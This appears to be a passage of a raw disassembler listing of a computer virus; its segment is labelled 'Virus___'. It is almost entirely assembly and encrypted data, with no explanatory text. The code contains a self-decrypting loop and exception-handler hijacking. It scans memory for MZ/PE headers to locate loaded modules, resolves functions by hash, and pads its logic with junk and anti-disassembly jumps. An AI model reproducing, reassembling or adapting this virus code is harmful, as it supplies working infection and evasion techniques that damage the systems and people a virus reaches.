		pop	edx
		sub	edx, 71B36F9h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53E873:				; CODE XREF: sub_53E857+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53E892
		mov	eax, [ebp+arg_0]
		mov	[ebx+71B3663h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53E873
; ---------------------------------------------------------------------------


loc_53E892:				; CODE XREF: sub_53E857+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53E857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53E89D	proc near		; CODE XREF: start+5B7A5p start+5B7AFp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 71B3742h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53E8C3:				; CODE XREF: sub_53E89D+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53E8C3
		mov	[ebp+var_84], 0
		lea	edi, [edx+71B3663h]
		lea	esi, [ebp+var_80]


loc_53E8F3:				; CODE XREF: sub_53E89D+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53E8FF:				; CODE XREF: sub_53E89D+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53E8FF
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53E8F3
		popa
		leave
		retn	4
sub_53E89D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53E93D
; ---------------------------------------------------------------------------


loc_53E939:				; CODE XREF: Virus___:0053E940j
		inc	dword ptr [ebp-4]
		inc	esi


loc_53E93D:				; CODE XREF: Virus___:0053E937j
		cmp	byte ptr [esi],	0
		jnz	short loc_53E939
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53E9CE
; ---------------------------------------------------------------------------


loc_53E94F:				; CODE XREF: Virus___:0053E9D1j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53E9C5
; ---------------------------------------------------------------------------


loc_53E958:				; CODE XREF: Virus___:0053E9C9j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53E9B2
; ---------------------------------------------------------------------------


loc_53E968:				; CODE XREF: Virus___:0053E9B6j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53E98A
		cmp	bl, 39h
		ja	short loc_53E98A
		sub	bl, 30h
		jmp	short loc_53E9AC
; ---------------------------------------------------------------------------


loc_53E98A:				; CODE XREF: Virus___:0053E97Ej
					; Virus___:0053E983j
		cmp	bl, 61h
		jb	short loc_53E99C
		cmp	bl, 66h
		ja	short loc_53E99C
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53E9AC
; ---------------------------------------------------------------------------


loc_53E99C:				; CODE XREF: Virus___:0053E98Dj
					; Virus___:0053E992j
		cmp	bl, 41h
		jb	short loc_53E9AC
		cmp	bl, 46h
		ja	short loc_53E9AC
		sub	bl, 41h
		add	bl, 0Ah


loc_53E9AC:				; CODE XREF: Virus___:0053E988j
					; Virus___:0053E99Aj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53E9B2:				; CODE XREF: Virus___:0053E966j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53E968
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53E9C2
		mov	eax, [ebp-10h]
		stosb


loc_53E9C2:				; CODE XREF: Virus___:0053E9BCj
		inc	dword ptr [ebp-8]


loc_53E9C5:				; CODE XREF: Virus___:0053E956j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53E958
		add	edx, 4


loc_53E9CE:				; CODE XREF: Virus___:0053E94Dj
		cmp	edx, [ebp-4]
		jb	loc_53E94F
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53E9E1:				; CODE XREF: start+5B7B4j
		mov	ecx, 7000h
		lea	edi, [ebp+71B3888h]


loc_53E9EC:				; CODE XREF: start+5B9DCj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53E9EC
		mov	eax, 48692121h
		mov	edx, 0F00E3000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+71B3979h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	edx
		jo	loc_53EA2E
		jmp	loc_53EA2E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 48h,	5Eh, 16h
		db 0E0h, 2Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53EA2E:				; CODE XREF: start+5BA0Aj start+5BA10j
		pop	ebx
		jmp	loc_53EA45
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		mov	esp, 0BFD0E3AEh
		cmp	dh, bh
		and	bl, 82h
		add	[edx+ebp*4-6D346903h], esp
; START	OF FUNCTION CHUNK FOR start


loc_53EA45:				; CODE XREF: start+5BA1Bj
		sub	eax, edx
		mov	bx, 0F167h
		and	eax, 0FFFFF000h
		add	bh, 0C1h
		mov	bx, si
		mov	ecx, edx
		xor	edi, edi


loc_53EA5A:				; CODE XREF: start+5BA61j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_53EA6F
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_53EA77


loc_53EA6F:				; CODE XREF: start+5BA4Bj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_53EA5A
; ---------------------------------------------------------------------------


loc_53EA77:				; CODE XREF: start+5BA59j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+71B398Ch]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_53EAB1
		mov	esi, [eax+1Ch]


loc_53EAB1:				; CODE XREF: start+5BA98j
		xor	eax, eax


loc_53EAB3:				; CODE XREF: start+5BAB2j
		cmp	eax, 32h
		jz	short loc_53EAD7
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_53EAC8


loc_53EABF:				; CODE XREF: start+5BAC1j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_53EAB3
; ---------------------------------------------------------------------------


loc_53EAC8:				; CODE XREF: start+5BAA9j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_53EB19
		jmp	short loc_53EABF
; ---------------------------------------------------------------------------


loc_53EAD7:				; CODE XREF: start+5BAA2j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 71B3997h
		lea	eax, [ebp+71B3955h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53EB19:				; CODE XREF: start+5BABFj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		and	bl, 0DEh
		mov	bh, ch
		mov	cx, ds
		push	eax
		pop	ebx
		and	cl, 4
		push	0
		push	ecx
		call	sub_53EB3C
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53EB3C	proc near		; CODE XREF: start+5BB20p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_53EB3C	endp

; ---------------------------------------------------------------------------
		scasd
		mov	esi, 48683ED6h
		push	esi
		add	dword ptr [edx+0], 0F8EDEF80h
		or	cl, cl
		jnz	loc_53EB96
		cmc
		add	bl, 0A0h
		mov	dword ptr [ebp+71B2105h], 1 ; CODE XREF: Virus___:0053EBC1j
		mov	bl, 36h
		jmp	loc_53EBA6
; ---------------------------------------------------------------------------
		db 66h
		dd 0A205CB81h, 12E8h, 3F815D00h, 327D2095h, 0A0377BAAh
		dd 7341B011h, 8A77DF21h
		db 0D8h, 5Bh
; ---------------------------------------------------------------------------


loc_53EB96:				; CODE XREF: Virus___:0053EB5Cj
		mov	dword ptr [ebp+71B2105h], 0
		or	ebx, 6EED2ACAh


loc_53EBA6:				; CODE XREF: Virus___:0053EB72j
		mov	[ebp+71B225Dh],	eax
		adc	ebx, 25389B99h
		mov	bx, 0A51Fh
		mov	[ebp+71B2E11h],	eax
		call	near ptr loc_53EBC4+2
		jle	short near ptr loc_53EB66+7
		pop	edi


loc_53EBC4:				; CODE XREF: Virus___:0053EBBCp
		enter	0FFFFBFF6h, 2Eh
		mov	eax, 0BF58140Ch
		xchg	ecx, [ebx-3F7EE7D6h]
		jmp	near ptr 6653EC3Dh
; ---------------------------------------------------------------------------
		dd 0BEBE29B9h, 1956h, 7E9h, 81579E00h, 399E1C71h, 0F98A108Bh
		dd 0B104C281h, 0ED802FC6h, 19EA8104h, 8170DDDCh, 31EB0FC2h
		dd 89DBB153h, 2E88310h,	2810Fh,	0DE8A0000h, 81664848h
		dd 81B462CBh, 1EEh, 1B850F00h, 0BB000000h, 60DC5802h, 25E9h
		dd 0CD718000h, 1AC69C38h, 5FC61BBEh, 0EA62EE74h, 0A5E96722h
		dd 65FFFFFFh, 4ED9587Bh, 0C91D2473h, 1B0DCCB2h,	4EB910Fh
		dd 384h, 6A6E9h, 10E900h, 912E0000h, 3A4B9540h,	0CA37D555h
		dd 0C2241F1h, 60609F28h, 0BD858960h, 1071B09h, 1B32719Dh
		dd 800F6107h, 5, 0F6E74BAh, 0C02B610Fh,	78B0Fh,	51600000h
		dd 9BEC8059h, 24548B61h, 81666028h, 8B4F1FD6h, 858961D8h
		dd 71B2A29h, 3CBEF8h, 95890000h, 71B1521h, 24247403h, 0FE9h
		dd 92E00A00h, 50A0B04Ah, 0D74DC1C3h, 41BDE674h,	0AE9AD66h
		dd 0EB000000h, 0E98044A4h, 2E012C2Ch, 0D185291Fh, 3071B2Ah
		dd 0E9242444h, 13h, 7564730Eh, 0A1B72BCBh, 4A42B345h, 0E5B4D440h
		dd 90987D16h, 0F870Fh, 0AE90000h, 4C000000h, 174B70ACh
		dd 0F1CB8BBCh, 0BE95090h, 0AA000000h, 6F6506B7h, 0BD72B164h
		dd 0E990FBF5h, 0Ch, 4E14DDh, 30496A40h,	4F4A3BE7h, 8978408Bh
		dd 1B0A6585h, 24440307h, 5BD0928h, 8B071B2Fh, 85091840h
		dd 71B1461h, 0C8816040h, 39C3B346h, 0BE9h, 49D92D00h, 32F19DC5h
		dd 0E4A40B56h, 0EE858961h, 0F8071B3Ah, 8D858958h, 8B071B2Ah
		dd 8D097870h, 71B12B9h,	0F1CC683h, 1988h, 0B9666000h, 0DE85ED3h
		dd 87000000h, 222F4276h, 0C6CF94BAh, 0FC2FBC9Bh, 7403615Ah
		dd 0F5F52424h, 25A1BD8Dh, 0BD89071Bh, 71B2BC9h,	0E758D89h
		dd 0FAD071Bh, 88Ch, 0B5316000h,	71B2E35h, 24440361h, 178A0F24h
		dd 0E9000000h, 12h, 6CD95650h, 5C87CEE4h, 8040B67Ch, 8F5D0B95h
		dd 0BD895850h, 71B1F91h, 0EE9ABh, 0B3050000h, 0CBA0B182h
		dd 12BE5334h, 0A74BE0D9h, 1659BD8Dh, 9D29071Bh,	71B24B9h
		dd 0F59D09ADh, 3071B28h, 31242444h, 1B24F98Dh, 0E9605007h
		dd 0Eh,	889D72D1h, 870515EDh, 87B1535Dh, 8961EB49h, 820F2404h
		dd 0Ah,	5E9h, 0B0B8BF00h, 60AB4FAEh, 21A5850Bh,	8D29071Bh
		dd 71B0959h, 0F9BD8D61h, 29071B29h, 1B2C998Dh, 5D952907h
		dd 0AD071B1Fh, 278D8589h, 4403071Bh, 10E92824h,	0E5000000h
		dd 80CC5743h, 1732B8A1h, 0E4914A1Dh, 0ABA9DA9Dh, 29B19589h
		dd 895E071Bh, 1B17A19Dh, 0EE8DFF07h, 83071B3Ah,	1B3AEEBDh
		dd 10750007h, 1C2444C7h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+71B3F98h]
		jmp	esi
; ---------------------------------------------------------------------------
		dd 4403AD56h, 8B972824h, 5858ADFh, 84071B1Ch, 3A0474C0h
		dd 574C7507h
; ---------------------------------------------------------------------------
		xor	al, al


loc_53EEE2:				; CODE XREF: Virus___:0053EEE3j
		scasb
		jnz	short loc_53EEE2
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_53EEEF:				; CODE XREF: Virus___:0053EF18j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_53EEFE:				; CODE XREF: Virus___:0053EF11j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_53EF0F
		xor	ax, 5041h
		xor	bx, 5449h


loc_53EF0F:				; CODE XREF: Virus___:0053EF04j
		dec	dh
		jnz	short loc_53EEFE
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_53EEEF
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_53EF3A
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+71B2A29h]
; ---------------------------------------------------------------------------
		db 0E9h, 6Fh, 0FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53EF3A:				; CODE XREF: Virus___:0053EF29j
		pop	esi
		jmp	loc_53EF49
; ---------------------------------------------------------------------------
		dd 93B0739Ah, 242E0493h
		db 6Eh
; ---------------------------------------------------------------------------


loc_53EF49:				; CODE XREF: Virus___:0053EF3Bj
		sub	[ebp+71B2A51h],	eax
		mov	eax, [ebp+71B2A29h]
		mov	[ebp+71B3105h],	edi
		shl	eax, 1
		or	[ebp+71B318Dh],	edi
		jle	loc_53EF73
		pusha
		mov	bh, cl
		jnz	$+6
		popa


loc_53EF73:				; CODE XREF: Virus___:0053EF63j
		add	eax, [ebp+71B29F9h]
		mov	[ebp+71B0585h],	eax
		sub	esi, esi
		sub	[ebp+71B0A99h],	edi
		xchg	eax, esi
		mov	[ebp+71B0B6Dh],	esi
		add	[ebp+71B1C79h],	esi
		lodsw
		jnb	loc_53EFA2
		sub	[ebp+71B32B5h],	esi


loc_53EFA2:				; CODE XREF: Virus___:0053EF96j
		shl	eax, 2
		cmc
		add	eax, [ebp+71B25A1h]
		jnp	loc_53EFC4
		jmp	loc_53EFC4
; ---------------------------------------------------------------------------
		db 91h
		dd 0E4C6DE9Ah, 0B2B5B248h, 190EC400h
; ---------------------------------------------------------------------------


loc_53EFC4:				; CODE XREF: Virus___:0053EFACj
					; Virus___:0053EFB2j
		xchg	eax, esi
		sub	[ebp+71B32CDh],	esi
		sub	[ebp+71B2BF1h],	ebx
		lodsd
		pusha
		mov	dh, ah
		mov	bx, 5A9h
		popa
		mov	ecx, [esp+24h]
		xor	[ebp+71B1459h],	eax
		add	eax, [esp+24h]
		jnb	loc_53F003
		jmp	loc_53F003
; ---------------------------------------------------------------------------
		db 37h
		dd 0D0A59EF0h, 26165CC1h, 9C693262h
; ---------------------------------------------------------------------------
		inc	ecx
		cmpsd
		lodsd


loc_53F003:				; CODE XREF: Virus___:0053EFE8j
					; Virus___:0053EFEEj
		jnz	loc_53F015
		jno	loc_53F015
		mov	[ebp+71B30C5h],	edi


loc_53F015:				; CODE XREF: Virus___:loc_53F003j
					; Virus___:0053F009j
		mov	[esp+1Ch], eax
		pusha
		pusha
		mov	bx, dx
		mov	ecx, [ebp+71B12DDh]
		popa
		jge	loc_53F031
		mov	[ebp+71B28A1h],	edx


loc_53F031:				; CODE XREF: Virus___:0053F025j
		popa
		xchg	eax, esi
		sub	[ebp+71B1F09h],	esi
		lodsb
		jp	loc_53F04F
		jmp	loc_53F04F
; ---------------------------------------------------------------------------
		db 0B5h, 5Bh, 3Ch
		dd 566E7EBCh
		db 5Fh,	0C4h, 8Fh
; ---------------------------------------------------------------------------


loc_53F04F:				; CODE XREF: Virus___:0053F03Aj
					; Virus___:0053F040j
		xor	cl, cl
		jmp	loc_53F064
; ---------------------------------------------------------------------------
		retn	2146h
; ---------------------------------------------------------------------------
		db 0B4h, 0F0h, 0F5h
		dd 0C2638E50h, 0C439DC68h
; ---------------------------------------------------------------------------


loc_53F064:				; CODE XREF: Virus___:0053F051j
		inc	cl
		pusha
		mov	edx, [ebp+71B0AA5h]
		mov	si, 1194h
		popa
		stc


loc_53F073:				; CODE XREF: Virus___:0053F0C4j
		rcl	al, 1
		jnb	loc_53F102
		jo	loc_53F088
		pusha
		mov	ebx, 3A0E882h
		popa


loc_53F088:				; CODE XREF: Virus___:0053F07Bj
		rcl	al, 1
		jnb	loc_53F102
		stc
		add	[ebp+71B0121h],	edx
		rcl	al, 1
		jb	loc_53F102
		clc
		jo	loc_53F0B4
		pusha
		mov	[ebp+71B30B5h],	edi
		or	[ebp+71B0BC1h],	eax
		popa


loc_53F0B4:				; CODE XREF: Virus___:0053F0A0j
		rcl	al, 1
		jb	loc_53F102
		sub	[ebp+71B2991h],	ecx
		dec	cl
		jns	loc_53F073
		clc
		add	esp, 20h
		mov	[ebp+71B1515h],	edi
		mov	dword ptr [esp-4], 0
		sub	[ebp+71B3375h],	edx
		mov	eax, 1
		clc
		mov	[ebp+71B2C0Dh],	esi
		lea	ecx, [ebp+71B71A5h]
		mov	[ebp+71B2FDDh],	esi
		jmp	ecx
; ---------------------------------------------------------------------------
		sub	[ebp+71B1F01h],	esi


loc_53F102:				; CODE XREF: Virus___:0053F075j
					; Virus___:0053F08Aj ...
		mov	byte ptr [ebp+71B1C05h], 0
		stc
		popa
		jbe	loc_53F118
		jnz	loc_53F118
		cmc


loc_53F118:				; CODE XREF: Virus___:0053F10Bj
					; Virus___:0053F111j
		or	[ebp+71B15F5h],	edx
		retn	8
; ---------------------------------------------------------------------------
		mov	[ebp+71B1445h],	ebx
		mov	[ebp+71B2781h],	edi
		push	eax
		pusha
		jnp	loc_53F139
		mov	ax, 9A57h


loc_53F139:				; CODE XREF: Virus___:0053F12Fj
		mov	edx, ecx
		popa
		mov	[esp], esi
		mov	[ebp+71B1F09h],	esi
		pusha
		or	[ebp+71B2F29h],	esi
		mov	eax, [ebp+71B1F79h]
		popa
		mov	[ebp+71B4166h],	esi
		jmp	loc_53F170
; ---------------------------------------------------------------------------
		dw 0A0E8h
		dd 6D4F9F98h, 9B9EAED1h, 6DE361D4h, 9240181Dh
; ---------------------------------------------------------------------------


loc_53F170:				; CODE XREF: Virus___:0053F159j
		mov	[ebp+71B4177h],	ecx
		xor	[ebp+71B15F5h],	eax
		lea	esi, [ebp+71B4040h]
		or	[ebp+71B00B9h],	ecx
		lea	eax, dword_5B8EA1[ebp]
		sub	[ebp+71B25FDh],	edx
		call	eax
		xor	[ebp+71B297Dh],	esi
		pop	esi
		sub	[ebp+71B1291h],	ebx
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+71B09FDh],	ebx
		mov	esi, [ebp+71B4166h]
		or	[ebp+71B1A59h],	eax
		mov	ecx, [ebp+71B4177h]
		pusha
		jnz	loc_53F1C9
		mov	[ebp+71B1285h],	ecx


loc_53F1C9:				; CODE XREF: Virus___:0053F1BDj
		sub	[ebp+71B29A5h],	eax
		popa
		mov	eax, 0
		sub	[ebp+71B0121h],	ecx
		mov	ebx, ecx
		cmc
		jo	loc_53F1EA
		add	[ebp+71B053Dh],	ebx


loc_53F1EA:				; CODE XREF: Virus___:0053F1DEj
		jmp	loc_53F2AF
; ---------------------------------------------------------------------------
		jmp	loc_53F203
; ---------------------------------------------------------------------------
		dd 0A3374469h, 0F87342D2h, 0CE6FEF9Fh
		db 18h,	1Bh, 0A8h
; ---------------------------------------------------------------------------


loc_53F203:				; CODE XREF: Virus___:0053F1EFj
					; Virus___:0053F2B1j
		xor	ah, [esi]
		clc
		mov	dl, 2
		clc
		add	[ebp+71B24C1h],	eax
		jmp	loc_53F28D
; ---------------------------------------------------------------------------
		pusha
		js	loc_53F221
		or	[ebp+71B0961h],	edi


loc_53F221:				; CODE XREF: Virus___:0053F215j
		xor	ebx, [ebp+71B2269h]
		popa


loc_53F228:				; CODE XREF: Virus___:0053F28Fj
		xor	al, dl
		jl	loc_53F238
		js	loc_53F238
		pusha
		popa


loc_53F238:				; CODE XREF: Virus___:0053F22Aj
					; Virus___:0053F230j
		add	eax, 8A751D7Ah
		sub	[ebp+71B2951h],	eax
		mov	cl, ah
		mov	[ebp+71B3259h],	edx
		ror	eax, cl
		jnp	loc_53F26D
		jle	loc_53F26D
		jmp	loc_53F26D
; ---------------------------------------------------------------------------
		dw 0B946h
		dd 74D5C0AFh, 75FDC3ECh, 976AC6Ah
; ---------------------------------------------------------------------------
		xchg	eax, ebx


loc_53F26D:				; CODE XREF: Virus___:0053F24Dj
					; Virus___:0053F253j ...
		xor	eax, 98D10842h
		cld
		jmp	loc_53F28A
; ---------------------------------------------------------------------------
		sbb	al, 7Ah
		idiv	dword ptr [edi]
		retf
; ---------------------------------------------------------------------------
		db 0F5h, 39h, 3
		dd 0C1F36F2h, 0BE2A9497h
		db 0ABh, 8Eh
; ---------------------------------------------------------------------------


loc_53F28A:				; CODE XREF: Virus___:0053F273j
		dec	dl
		clc


loc_53F28D:				; CODE XREF: Virus___:0053F20Fj
		or	dl, dl
		jnz	loc_53F228
		cmc
		dec	ebx
		jno	loc_53F2A8
		pusha
		js	$+6
		and	dl, 23h
		popa


loc_53F2A8:				; CODE XREF: Virus___:0053F297j
		inc	esi
		mov	[ebp+71B14E9h],	edx


loc_53F2AF:				; CODE XREF: Virus___:loc_53F1EAj
		or	ebx, ebx
		jnz	loc_53F203
		xor	[ebp+71B0E21h],	edi
		iret
; ---------------------------------------------------------------------------
		mov	[ebp+71B26F5h],	edx
		jmp	near ptr dword_53F2D0
; ---------------------------------------------------------------------------
		db 44h,	0B6h, 38h
		dd 2A0110BFh
dword_53F2D0	dd 8D290000h, 71B3529h,	820F0000h, 1, 0F0000F8h, 168Eh
					; CODE XREF: Virus___:0053F2C4j
		dd 11E900h, 0A6020000h,	0F7679304h, 0E36D41A2h,	0ED30559h
		dd 69CE2Eh, 0ED858900h,	8D071B08h, 1B3B0C85h, 68A0F07h
		dd 1000000h, 1B22D5BDh,	91858907h, 0F9071B04h, 3FC3858Dh
		dd 0BD89071Bh, 71B164Dh, 17718589h, 12E8071Bh, 44000000h
		dd 0CECB020Bh, 0F507FBFCh, 0D521495Dh, 0D88ACDDBh, 3FC08121h
		dd 5A40CECEh, 17ADBD8Bh, 0C281071Bh, 5C4Fh, 233DBD09h
		dd 0BB071Bh, 66000000h,	8B4539BFh, 0B70F1A34h, 0CC681C2h
		dd 8A1EE80Eh, 9BF681C6h, 8B114D46h, 1B2CFDBDh, 92EE8107h
		dd 893347B8h, 1B0CD9BDh, 8B0F5607h, 6, 3099589h, 48F071Bh
		dd 0EE81Ah, 41DB0000h, 50C79364h, 94679A40h, 60143F7Ah
		dd 8523505Fh, 71B1671h,	4EB8359h, 74FB81F9h, 0FFFFFA4h
		dd 1885h, 81666000h, 956C0E3h, 1B2A6D85h, 1FE96107h, 22000000h
		dd 0F6717BDCh, 75BD89CAh, 0E9071B26h, 0FFFFFF7Bh, 0F9E7CE84h
		dd 0BC11F4F7h, 6864C8FDh, 14EB30FEh, 4 dup(0)
		dd 8Bh,	4361858Dh, 8589071Bh, 71B0C21h,	42A2BD83h, 0F00071Bh
		dd 12B84h, 585C600h, 56071B1Ch,	1FA3868h, 24048159h, 7B1D7301h
		dd 225DB5FFh, 858D071Bh, 71B3B0Ch, 8589D0FFh, 71B4296h
		dd 1C0585C6h, 6856071Bh, 6980E9D7h, 7B240481h, 0FF3327CEh
		dd 1B225DB5h, 0C858D07h, 0FF071B3Bh, 9A8589D0h,	6A071B42h
		dd 4E804h, 10000000h, 8B500000h, 8B042444h, 24448900h
		dd 858B5804h, 71B42A6h,	1F405h,	2E0C100h, 6A905090h, 9A95FF00h
		dd 89071B42h, 1B429E85h, 0B8D88B07h, 0FFFFFFFFh, 0C2195FFh
		dd 0C38B071Bh, 0C2195FFh, 8DE9071Bh, 83000000h,	1B42A2BDh
		dd 850F0007h, 1, 0BD8B57C3h, 71B429Eh, 9E8583ABh, 4071B42h
		dd 0BD83C35Fh, 71B42A2h, 1850F00h, 0C3000000h, 9EAD8360h
		dd 4071B42h, 429E9D8Bh,	7B83071Bh, 850FFFFCh, 1Dh, 1695EC68h
		dd 2434817Dh, 7D1615ECh, 33FF006Ah, 429695FFh, 0C361071Bh
		dd 26E9h, 4E800h, 80000000h, 8B500000h,	8B042444h, 24448900h
		dd 6A5804h, 95FF33FFh, 71B4296h, 429EAD83h, 0E904071Bh
		dd 0FFFFFFA8h, 1ADE948h, 8B600000h, 8B242474h, 0FC28247Ch
		dd 68A80B2h, 47078846h,	2BBh, 0FD20200h, 585h, 46168A00h
		dd 830FD212h, 0FFFFFFE2h, 850FD202h, 5,	1246168Ah, 6A830FD2h
		dd 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h, 12Ah
		dd 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h,	8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h
		dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h
		dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh,	2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C913h,	5850Fh
		dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh,	830F0000h
		dd 22h,	5003Dh,	0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h
		dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h
		dd 17h,	8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h
		dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h,	929h, 9D3E9h
		dd 8205BB00h, 0DF36CD35h, 28D00DB2h, 0F66A7E0Dh, 4D35C362h
		dd 5D03EAFAh, 334222ECh, 4F2CF17Bh, 8223E679h, 0D374C638h
		dd 7AC71FBAh, 0F1786F5Eh, 227ECC27h, 57099A99h,	3F433FF8h
		dd 4D2CF129h, 8220E97Fh, 0CC74DC38h, 7AD805A7h,	0EA667340h
		dd 4970D830h, 4045AEFAh, 72523FFCh, 5862F07Bh, 8236FD7Fh
		dd 0CD3BDA21h, 74D80BA7h, 63h dup(0)
		dd 8205BB00h, 0C33AC73Ch, 7AC705A1h, 0E264645Dh, 83DC030h
		dd 1216ABFCh, 7D4329FBh, 542DE229h, 0D064EC7Eh,	0C33AC624h
		dd 33950DBBh, 0EA723643h, 5B70D337h, 5711B9EDh,	1E2C62F4h
		dd 4027E859h, 8268ED63h, 0C538C624h, 33950EB4h,	0F76D3659h
		dd 4570CC2Dh, 400AA7F1h, 7D476CE0h, 4430A46Dh, 0D025FC63h
		dd 0C52D8825h, 2A9518A0h, 0F76C795Fh, 7ECC23h, 48h dup(0)
		dd 8205BB00h, 0C935DA32h, 7DC70FBEh, 0EA7F365Eh, 4070CD2Dh
		dd 5045B9F5h, 334829FCh, 4F37EB6Fh, 0D736A874h,	0C43DC63Fh
		dd 34DC4AB2h, 0F0646F0Dh, 51238130h, 5F00BEE7h,	432B46B7h
		dd 5223E165h, 0D764A475h, 0CB3BC43Fh, 2EDC4AB1h, 0EA79700Dh
		dd 4D3D812Fh, 4B17A5F9h, 77482DB9h, 5227F629h, 0D636E964h
		dd 0DF3BD171h, 28C54AA7h, 0E4797142h, 8F2Fh, 61h dup(0)
